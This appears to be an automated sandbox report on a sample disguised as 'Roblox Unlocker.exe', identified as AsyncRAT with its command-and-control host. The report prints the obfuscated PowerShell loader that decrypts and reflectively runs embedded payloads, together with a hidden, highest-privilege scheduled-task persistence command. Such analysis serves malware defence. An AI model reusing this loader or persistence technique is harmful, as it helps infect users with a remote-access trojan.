Analysis

  • max time kernel
    149s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    30/04/2024, 09:40

General

  • Target
    Roblox Unlocker.exe
  • Size 117KB
  • Sample240430-lnhpcshc26
  • SHA256 d782d8d0048a395c2a62634c683eb1c42fab260f1b9fc06c0be74bda902f355e
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Family
  • asyncrat

Version
  • AsyncRAT

Botnet
  • RbxFps

C2
  • eve.now-dns.net:313

Mutex
  • AsyncMutex_raw

Attributes
  • delay

    3

  • install

    false

  • install_folder

    %AppData%

aes.plain

Signatures

  • AsyncRat

    AsyncRAT is designed to remotely monitor and control other computers written in C#.

  • Async RAT payload 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies registry class 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SendNotifyMessage 1 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe
    "C:\Users\Admin\AppData\Local\Temp\Roblox Unlocker.exe"
    1⤵
    • Checks computer location settings
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3880
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /C "C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:3796
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Local\Temp\driver\rbx.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        3⤵
          PID:4808
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
          3⤵
          • Modifies registry class
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2920
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_850_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
            4⤵
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2996
          • C:\Windows\SysWOW64\WScript.exe
            "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs"
            4⤵
            • Checks computer location settings
            • Suspicious use of WriteProcessMemory
            PID:3756
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat" "
              5⤵
              • Suspicious use of WriteProcessMemory
              PID:4464
              • C:\Windows\SysWOW64\cmd.exe
                C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('JsdCX5vQF6G5Gjs+VAZ1qwNac3N9twpOnPe7tP9iEzw='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Pf8hM46F3LXAhqJ+iFyesw=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $mYXQD=New-Object System.IO.MemoryStream(,$param_var); $shiDA=New-Object System.IO.MemoryStream; $FZWQP=New-Object System.IO.Compression.GZipStream($mYXQD, [IO.Compression.CompressionMode]::Decompress); $FZWQP.CopyTo($shiDA); $FZWQP.Dispose(); $mYXQD.Dispose(); $shiDA.Dispose(); $shiDA.ToArray();}function execute_function($param_var,$param2_var){ $bOUWC=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $uKCgI=$bOUWC.EntryPoint; $uKCgI.Invoke($null, $param2_var);}$kVZWi = 'C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat';$host.UI.RawUI.WindowTitle = $kVZWi;$zDIvy=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($kVZWi).Split([Environment]::NewLine);foreach ($tuvqa in $zDIvy) { if ($tuvqa.StartsWith('BYSYpExqvRBVuAbLAjNe')) { $pgkRt=$tuvqa.Substring(20); break; }}$payloads_var=[string[]]$pgkRt.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
                6⤵
                  PID:4008
                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                  "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass
                  6⤵
                  • Blocklisted process makes network request
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of SetWindowsHookEx
                  PID:3780
        • C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe
          "C:\Users\Admin\AppData\Local\Temp\driver\rbx.exe"
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of FindShellTrayWindow
          • Suspicious use of SendNotifyMessage
          PID:4936

      Network

            MITRE ATT&CK Enterprise v15

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 37bd9078411576470f38bed628682d66786194692355541cd16f323e8f17c1ff
            • MD5 SHA1 SHA512

            StartupProfileData-Interactive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive
            • Size 20KB
            • SHA256 056aa2a23ffe3d78f5b4b901783b453ddd83bab834331babafb4ecf6ccbc514b
            • MD5 SHA1 SHA512 SSDEEP

            __PSScriptPolicyTest_v3ofjra3.tsk.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_v3ofjra3.tsk.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512

            Windows_Log_850.bat

            • Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.bat
            • Size 54KB
            • SHA256 7dc7716419e5aedddf48867e040a27e073dc963a28ae42c1c00b712bab7eda8e
            • MD5 SHA1 SHA512 SSDEEP

            Windows_Log_850.vbs

            • Path C:\Users\Admin\AppData\Roaming\Windows_Log_850.vbs
            • Size 115B
            • SHA256 eddbfb658bee8223418d74f11c82f1d6f8320e56d5bb45f52bd56452b50f3e58
            • MD5 SHA1 SHA512

            memory/2920-46-0x0000000007A70000-0x0000000007A78000-memory.dmp

            memory/2920-48-0x0000000008C00000-0x00000000091A4000-memory.dmp

            memory/2920-17-0x0000000005840000-0x0000000005E68000-memory.dmp

            memory/2920-18-0x0000000005490000-0x00000000054B2000-memory.dmp

            memory/2920-19-0x0000000005530000-0x0000000005596000-memory.dmp

            memory/2920-20-0x00000000055A0000-0x0000000005606000-memory.dmp

            memory/2920-28-0x0000000005F70000-0x00000000062C4000-memory.dmp

            memory/2920-31-0x00000000065C0000-0x00000000065DE000-memory.dmp

            memory/2920-32-0x0000000006600000-0x000000000664C000-memory.dmp

            memory/2920-42-0x0000000007760000-0x00000000077A4000-memory.dmp

            memory/2920-43-0x00000000078D0000-0x0000000007946000-memory.dmp

            memory/2920-44-0x0000000007FD0000-0x000000000864A000-memory.dmp

            memory/2920-45-0x0000000007970000-0x000000000798A000-memory.dmp

            memory/2920-16-0x0000000002C00000-0x0000000002C36000-memory.dmp

            memory/2920-47-0x0000000007A90000-0x0000000007AA0000-memory.dmp

            memory/2996-74-0x0000000007A90000-0x0000000007AA1000-memory.dmp

            memory/2996-59-0x0000000007760000-0x0000000007792000-memory.dmp

            memory/2996-60-0x0000000070D90000-0x0000000070DDC000-memory.dmp

            memory/2996-70-0x0000000006AA0000-0x0000000006ABE000-memory.dmp

            memory/2996-71-0x00000000077A0000-0x0000000007843000-memory.dmp

            memory/2996-72-0x0000000007900000-0x000000000790A000-memory.dmp

            memory/2996-73-0x0000000007B10000-0x0000000007BA6000-memory.dmp

            memory/3780-94-0x00000000063C0000-0x00000000063D6000-memory.dmp

            memory/3780-95-0x0000000007C50000-0x0000000007CE2000-memory.dmp

            memory/3780-96-0x0000000007C40000-0x0000000007C4A000-memory.dmp

            memory/3780-99-0x0000000007F20000-0x0000000007FBC000-memory.dmp

            memory/3880-15-0x00007FFFA84C0000-0x00007FFFA8F81000-memory.dmp

            memory/3880-11-0x00000236E7CC0000-0x00000236E7CE2000-memory.dmp

            memory/3880-12-0x00000236FFED0000-0x00000236FFEE0000-memory.dmp

            memory/3880-10-0x00007FFFA84C0000-0x00007FFFA8F81000-memory.dmp

            memory/3880-0-0x00000236E6030000-0x00000236E6050000-memory.dmp